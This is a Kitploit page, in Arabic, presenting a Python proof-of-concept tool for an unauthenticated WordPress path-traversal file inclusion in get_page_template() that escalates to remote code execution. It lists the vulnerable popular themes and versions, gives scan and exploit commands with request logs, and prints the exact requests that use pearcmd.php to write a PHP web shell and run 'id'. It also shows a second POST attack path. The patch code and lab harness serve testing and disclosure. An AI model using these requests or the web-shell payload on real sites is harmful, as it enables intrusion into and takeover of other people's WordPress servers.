CVE-2026-87902 — أداة PoC بلغة Python للثغرة CVE-2026-87902، وهي ثغرة RCE عبر اجتياز المسار في WordPress بدون مصادقة من خلال get_page_template()، مع تحديد الإصدار وفحص القوالب وتضمين الملفات الاختياري. | Kitploit
أداة PoC بلغة Python للثغرة CVE-2026-87902، وهي ثغرة RCE عبر اجتياز المسار في WordPress بدون مصادقة من خلال get_page_template()، مع تحديد الإصدار وفحص القوالب وتضمين الملفات الاختياري.
الحمولة. يشغّلها WP_Query عبر sanitize_title_for_query()، التي تعيد كتابة النقطة الحرفية إلى شرطة لكنها تحافظ على الأوكتيتات المرمزة بالنسبة المئوية. ثم يستدعي get_page_template() الدالة urldecode() لفك ترميز النتيجة إلى مسار
page_id
أي صفحة منشورة، بحيث تطابق الاستعلام مقالة بدلاً من إرجاع 404. بدونها لا يتم تحميل قالب الصفحة أبداً
يبني النواة page-{urldecode($pagename)}.php ويحلها مقابل دليل stylesheet. الترميز مطلوب: sanitize_title_for_query() تعيد كتابة .. الحرفية إلى -.
الشروط المسبقة
#
الشرط
السبب
1
القالب النشط يحتوي على دليل page-* في المستوى الأعلى
الاسم هو page-{payload}.php، لذا يجب أن يُحل المقطع الأول منه على القرص
2
صفحة منشورة واحدة ليست الصفحة الأمامية ولا صفحة المقالات
يتم تجربة is_front_page و is_home قبل is_page
3
الملف الهدف ينتهي بـ .php
تضيف النواة الامتداد
لا محتوى مرفوع، ولا تغيير في إعدادات الموقع أو القالب أو النواة.
جميع القوالب الـ 26 المتأثرة تسمي الدليل page-templates. يأخذ poc.py الاسم من themes.json، ويفترض page-templates لقالب غير موجود فيه، ويتجاوز --root بقائمة مفصولة بفواصل.
مضيفو Windows يسقطون الشرط المسبق 1. يلغي Win32 .. معجمياً، لذا فإن مقطعاً غير موجود لا يزال يُلغى بواسطة .. التي تليه.
المسار
النتيجة
C:\...\wordpress\page-nothing\..\README.md
موجود
C:\...\wordpress\page-nothing\README.md
غير موجود
تم الاختبار باستخدام os.stat على Windows 11، الذي يستخدم نفس معالجة مسار Win32 مثل file_exists() في PHP. لم يتم تشغيل WordPress نفسه على Windows.
الاستخدام
الفحص، الافتراضي
يحدد القالب والإصدارين، ثم يسأل عما إذا كان دليل page-* موجوداً. لا يتم تضمين أو تنفيذ أي شيء.
root@kitploit:~
python3 poc.py --target https://example.com
root@kitploit:~
1 GET / 200 WordPress 7.1.1, theme neve
2 GET /wp-content/themes/neve/style.css 200 neve 4.2.11
3 GET /wp-content/themes/neve/page-templates/ 403 refused, which on its own establishes nothing
4 GET /wp-content/themes/neve/page-e464e285/ 404 the control is absent, so the refusal was about existence: the directory is there
────────────────────────────────────────────────────────────────────────────
result neve ships page-templates, core 7.1.1
next rerun with --exploit to make the target prove it
الإجابة على page-<root>/
القراءة
200
الدليل موجود ويسرد
404
لا يوجد مثل هذا الدليل
403
غير حاسم، لذا يتبع طلب تحكم واحد لـ page-<8 random hex>/
403 ثم تحكم 404
كان الرفض متعلقاً بالوجود، الدليل موجود
403 ثم رفض التحكم
يرفض الخادم كل ما يُطلب منه، الخروج 4
المتأثر يتطلب كليهما: وجود الدليل، والإصدار عند 7.1.1 أو أقل.
الاستغلال
يشغّل الفحص أولاً، ثم يضمّن الملف ما لم يستبعد الفحص الهدف.
5 GET /?rest_route=/wp/v2/pages 200 1 published page
6 GET /?page_id=2&pagename=page-templates/../../ 200 1368 bytes, not the theme's page [page-templates, page_id 2]
────────────────────────────────────────────────────────────────────────────
result wp-admin/install.php ran: WordPress › Installation
قالب القالب المُصيَّر يشير دائماً إلى /wp-content/themes/ عبر wp_head()، بينما الملف المضمّن من خارج القالب لا يفعل ذلك. هذه هي قاعدة الحكم.
الخيارات
الخيار
الافتراضي
التأثير
--target URL
مطلوب
النشر قيد الاختبار
--exploit
معطّل
تضمين ملف بعد الفحص
--include PATH
wp-admin/install.php
ملف .php المراد تضمينه. المسارات النسبية تُحل من جذر WordPress، والمسارات المطلقة تصعد مع --depth
--depth N
7
قفزات ../ لـ --include المطلق
--root NAME[,NAME]
من themes.json
أدلة page-* المراد تجربتها، بدون بادئة page-
--page-id ID
مُكتشف
تخطي اكتشاف الصفحة
--theme SLUG
مُكتشف
تخطي البحث عن القالب
--theme-version V
مُكتشف
تخطي البحث عن إصدار القالب
--no-version
معطّل
عدم إجراء أي طلب غرضه الوحيد معرفة إصدار
--core-json PATH
core.json
بصمات الإصدارات، تُقرأ فقط عندما لا يكشف شيء عن الإصدار
--trace
معطّل
طباعة كل تبادل
--json
معطّل
كائن JSON واحد، لا شيء غيره
--yes
معطّل
تخطي التأكيد
الرمز
الفحص
الاستغلال
0
متأثر
تم تضمين ملف .php من خارج القالب
1
غير متأثر
لم يتم التضمين
2
لا إجابة، أو الإجابة ليست WordPress
نفسه
3
استخدام، أو رفض عند التأكيد
نفسه
4
غير حاسم، انظر حالات 403 و 7.1.x
غير مستخدم
--include الافتراضي هو wp-admin/install.php: في كل WordPress، المخرجات لا تُخطئ، ولا تغيّر شيئاً.
لا يتم التحقق من شهادات TLS. يتم قبول الشهادات المنتهية والموقعة ذاتياً وغير المتطابقة في اسم المضيف.
بصمة الإصدار
تُجرَّب بالترتيب، مع التوقف عند أول من يجيب.
المصدر
التكلفة
على 7.1.1
وصف generator في الصفحة الرئيسية
مجاني
الإصدار الدقيق
?ver= على أصل في /wp-includes/
مجاني
الإصدار الدقيق
/?feed=rss2
طلب واحد
الإصدار الدقيق
/wp-links-opml.php
طلب واحد
الإصدار الدقيق
sha256 لأصل مُقدَّم مقابل core.json
طلب واحد
مجموعة الإصدارات التي تشحن تلك البايتات
يغطي core.json الإصدارات الـ 112 المنشورة و 7.1.2، بأربعة أصول لكل منها. تقاطعها يسمّي 9 إصدارات بدقة ويترك وسيطاً من 4 مرشحين. المتأثر يتطلب أن يكون كل مرشح عند 7.1.1 أو أقل.
لا يمكن التمييز بين 7.1.1 و 7.1.2 من الخارج. الملفات الثلاثة المختلفة هي wp-admin/about.php و wp-includes/template.php و wp-includes/version.php، ولا يُقدَّم أي منها. موقع 7.1.x يخفي إصداره يحصل على الخروج 4.
القوالب
أكثر 200 قالب تثبيتاً على wordpress.org. 26 منها تشحن دليل page-* وهي متأثرة، معاً 765,500 من 9,027,090 تثبيت نشط. الـ 174 الأخرى تفشل في الشرط المسبق 1.
القالب
الإصدار
التثبيتات
page-*
الحالة
مؤكد
neve
4.2.11
200,000
page-templates
🔴 متأثر
lab
sydney
2.71
80,000
page-templates
🔴 متأثر
lab
hestia
3.3.6
70,000
page-templates
🔴 متأثر
lab
inspiro
2.2.3
60,000
page-templates
🔴 متأثر
survey
colibri-wp
1.0.169
50,000
page-templates
🔴 متأثر
survey
twentyfourteen
4.6
50,000
page-templates
🔴 متأثر
lab
twentytwelve
4.9
50,000
page-templates
🔴 متأثر
lab
colormag
4.2.5
40,000
page-templates
🔴 متأثر
lab
zakra
4.3.3
30,000
page-templates
🔴 متأثر
survey
spacious
1.9.12
20,000
page-templates
lab تعني اختباراً من البداية إلى النهاية باستخدام poc.py مقابل صورة قياسية، و survey تعني قراءة الدليل من أرشيف القالب دون تشغيل القالب.
تم اختبارها وغير متأثرة، ولا يحتوي أي منها على دليل page-*: astra، kadence، twentysixteen، twentyseventeen، twentytwentythree، twentytwentyfive.
front-page.php، الذي تشحنه hestia و neve وغيرهما، لا يغيّر التأثر. إنه فقط يستبعد معرّف الصفحة الأمامية من الطلب.
الإصدارات
الإصدار
قالب الصورة الافتراضي
مع قالب متأثر
مؤكد
7.1.2
🟢 غير متأثر، twentytwentyfive
🟢 غير متأثر، neve
lab
7.1.1
🟢 غير متأثر، twentytwentyfive
🔴 متأثر، neve
lab
7.1.0
🟢 غير متأثر، twentytwentyfive
🔴 متأثر، neve
lab
7.0.4
🟢 غير متأثر، twentytwentyfive
🔴 متأثر، neve
lab
6.8.3
🟢 غير متأثر، twentytwentyfive
🔴 متأثر، neve
lab
6.1.0
🟢 غير متأثر، twentytwentythree
🔴 متأثر، twentytwelve
lab
4.9.8
🟢 غير متأثر، twentyseventeen
🔴 متأثر، twentytwelve
lab
الإصدارات الـ 105 الأخرى
لم تُقس
لم تُقس
لم تُقس
إصدار القالب
ليس شرطاً مسبقاً، بل دليل page-* هو. تم استخدام neve 4.2.11 على 6.8.3 وما فوق، و twentytwelve 4.9 على النواتين الأقدم
7.1.2
لا توجد صورة منشورة. تم الاختبار باستخدام lab/run.py --core 7.1.2، الذي يطبّق أرشيف الإصدار الرسمي فوق 7.1.1-apache
خارج الصندوق
لا يوجد إصدار من 4.1 فصاعداً متأثر. twentyfifteen حتى twentytwentyfive لا تحتوي على دليل page-*. twentyfourteen و twentytwelve تحتويان عليه، وكانتا الافتراضيتين لـ 3.8 إلى 4.0 ولـ 3.5، التي لا توجد صورة منشورة لها
غير قابل للسحب
15 من 112 وسم منشور: 14 أقدم من 4.5.3-apache تستخدم manifest v1 يرفضه containerd 2.1، و 4.5.3-apache لديه طبقة لا يستطيع السجل تقديمها
متغيرات PHP المنشورة لكل إصدار، التي تحدد التصعيد أدناه:
إصدارات WordPress
متغيرات PHP المنشورة كـ -apache
4.1.x إلى 4.5.x
لا شيء، وسم عادي فقط، 5.6
4.6.x إلى 5.0.x
5.67.07.17.27.3
5.1.x إلى 5.5.x
7.17.27.37.4
5.6.x إلى 6.0.x
7.27.37.48.08.1
6.1.x إلى 6.6.x
7.48.08.18.28.3
6.7.x
8.18.28.38.4
6.8.x و 6.9.x
8.18.28.38.48.5
7.0.x و 7.1.x
8.28.38.48.5
PHP والتصعيد
نجح تضمين الملف على الصور الأربع و pearcmd.php موجود في كل منها. تنفيذ الأوامر عبر gadget يتطلب تشغيل register_argc_argv، الذي توقفه صورة php8.5.
الصورة
PHP
register_argc_argv $_SERVER['argv']
RCE عبر pearcmd.php
مؤكد
7.1.1-php8.2-apache
8.2.33
مفعّل، مُعبّأ
🔴 uid=33(www-data)
lab
7.1.1-apache
8.3.33
مفعّل، مُعبّأ
🔴 uid=33(www-data)
lab
7.1.1-php8.4-apache
8.4.25
مفعّل، مُعبّأ
🔴 uid=33(www-data)
lab
7.1.1-php8.5-apache
8.5.10
معطّل، null
🟢 لم يُصل إليه
lab
يُقرأ عبر apache2handler، وليس CLI، الذي يفرض الإعداد. الطلبان وراء عمود RCE:
root@kitploit:~
# 1. include the gadget, whose arguments are the query string
GET /?page_id=2&pagename=<pearcmd payload>&+config-create+/&<?=system($_GET[0])?>+/tmp/labrce.php
# 2. include what it wrote
GET /?page_id=2&pagename=<tmp/labrce payload>&0=id
-> uid=33(www-data) gid=33(www-data) groups=33(www-data)
poc.py يضمّن ملفاً، ولا يقود الـ gadget. الوصول إليه عبر --include /usr/local/lib/php/pearcmd.php --depth 7. لم يُبحث عن gadget غير pearcmd.php على صورة 8.5.
+ // wp-includes/template.php, new in 7.1.2, called by locate_template() on every candidate
+ function _wp_is_template_path_allowed( $path ) {
+ global $wp_stylesheet_path, $wp_template_path;
+
+ // A file path that exists and does not contain `..` is allowed.
+ if ( 0 === preg_match( '#(?:^|/)\.\.[. ]*(?:/|$)#', wp_normalize_path( $path ) ) ) {
+ return true;
+ }
+
+ $real_path = realpath( $path );
+ if ( false === $real_path ) {
+ return false;
+ }
+ $real_path = trailingslashit( wp_normalize_path( $real_path ) );
+
+ $directories = array(
+ $wp_stylesheet_path,
+ $wp_template_path,
+ ABSPATH . WPINC . '/theme-compat',
+ );
+ // ... plus the parent directory of a theme that lives in a subdirectory
+
+ foreach ( $directories as $directory ) {
+ $real_directory = realpath( $directory );
+ if ( false === $real_directory ) {
+ continue;
+ }
+ if ( str_starts_with( $real_path, trailingslashit( wp_normalize_path( $real_directory ) ) ) ) {
+ return true;
+ }
+ }
+ return false;
+ }
الأول يصلح الفرع الثغرة، والثاني يفحص كل مسار قالب محلول أياً كان ما أنتجه. تم الاختبار: على 7.1.2 مع تفعيل neve ووجود page-templates، يعرض الطلب نفسه صفحة القالب الخاصة به، 55,084 بايت، بدلاً من المثبّت.
يوجد مسار ثانٍ على 7.1.1 وما قبله:
root@kitploit:~
POST /
name=<front page slug>&page_id=<posts page id>&preview=true&pagename=<payload>
كيف يختلف
يحوّل WP_Query إلى فرع post_name، الذي لا يعيد كتابة pagename أبداً، لذا تعمل .. الحرفية
ما يحتاجه
قالب بدون single.php، لأن is_single يُجرَّب قبل is_page
تم اختباره على
7.1.1 مع bloghash
لماذا هو هنا
ينجو من إصلاح يقوّي المُطهّر وحده. فحص الاحتواء أعلاه يغلقه أيضاً
المختبر
root@kitploit:~
python3 lab/run.py # the pool in lab/targets.txt
python3 lab/run.py --tags 7.1.1-apache --theme [email protected] --keep
python3 lab/run.py --all --theme [email protected] --prune
python3 lab/run.py --refresh-versions # rewrite lab/versions.txt from the registry
python3 lab/themes.py # rebuild themes.json
python3 lab/core.py --also 7.1.2 # rebuild core.json
root@kitploit:~
1/9 7.1.1-apache affected 0 included twentytwelve wp-admin/install.php ran
2/9 7.1.1-apache affected 0 included hestia wp-admin/install.php ran
3/9 7.1.1-apache affected 0 included neve wp-admin/install.php ran
4/9 7.1.1-apache affected 0 included colormag wp-admin/install.php ran
5/9 7.1.1-apache affected 0 included sydney wp-admin/install.php ran
6/9 7.1.1-apache unaffected 1 not included twentytwentyfive no page-* directory
7/9 7.1.1-apache affected 0 included bloghash wp-admin/install.php ran
8/9 7.1.1-apache unaffected 1 not included kadence no page-* directory
9/9 7.1.1-apache unaffected 1 not included astra no page-* directory
لكل صف
الصورة
wordpress:<tag> الرسمية، غير معدّلة
العزل
حاوية خاصة، منفذ خاص، قاعدة بيانات خاصة في MariaDB المشتركة
التثبيت
عبر HTTP من خلال wp-admin/install.php، لذا لا يحتاج أي إصدار إلى wp-cli مطابق
الحالة
كما يتركها المثبّت، صفحة منشورة واحدة، لا شيء مرفوع
يُدار بـ
poc.py --exploit، لذا يقيس الصف التضمين وليس المظهر
الخيار
الافتراضي
التأثير
--jobs N
2
صفوف بالتوازي
--theme SLUG[@VERSION]
لا شيء
التثبيت والتفعيل على كل صف
--core VERSION
لا شيء
تطبيق ذلك الإصدار الرسمي فوق نواة الصورة، وهكذا يُشغَّل إصدار بلا صورة
--keep
معطّل
ترك النسخ قائمة، تُطبع كلمة مرور المسؤول في النهاية
--prune
معطّل
حذف الصور التي سحبها هذا التشغيل
--port-base N
8110
المنفذ الأول، واحد لكل صف، 127.0.0.1 فقط
--db-image
mariadb:10.6
صورة قاعدة البيانات
--timeout N
180
ثوانٍ تُمنح للحاوية للإجابة
--out PATH
lab/results.json
تفاصيل كل صف
رموز الخروج: 0 كل صف قيس، 1 صف واحد على الأقل لم يُقس، 2 Docker غائب أو لا شيء للتشغيل، 3 استخدام أو رفض. صورة WordPress بحجم 600 ميغابايت إلى 1.1 غيغابايت، لذا --all بدون --prune يعني عشرات الغيغابايت.
يشغّل .github/workflows/lab.yml أربعة صفوف عند كل تغيير على PoC أو المختبر، وأسبوعياً: قالب متأثر على 7.1.1 وعلى 6.8.3، وقالب الصورة الافتراضي، ومتغير php8.5. كل منها يؤكد رمز الخروج المتوقع.
فكرتان مأخوذتان من ذلك PoC، كلتاهما اختُبرت هنا أولاً:
الفكرة
محتفظ بها
تم الاختبار
/index.php?rest_route= و /wp-json/ كمسارات احتياطية لقائمة الصفحات
نعم
ينجح الاكتشاف عبر أحد الثلاثة
تفضيل صفحة بلا قالب صفحة خاص بها، لأن get_page_template() يجرّب ذلك القالب أولاً
نعم، كترتيب
فرض صفحة تحمل واحداً لا يزال يُعيد الإنتاج على 7.1.1، لذا يكلف طلباً في أسوأ الأحوال
الملفات
root@kitploit:~
poc.py the PoC, standalone, stdlib only
themes.json per-theme facts poc.py reads (generated)
core.json asset fingerprints per release (generated)
lab/run.py the lab
lab/themes.py rebuilds themes.json from the survey and the archive cache
lab/core.py rebuilds core.json from the official release archives
lab/survey.json 200 most-installed themes, their version and page-* directories
lab/targets.txt the pool lab/run.py stands up by default
lab/versions.txt 112 published releases (generated from the registry)
lab/results.json last run (ignored)
lab/.cache/ theme and release archives (ignored)
attic/ previous attempt, unwired, ignored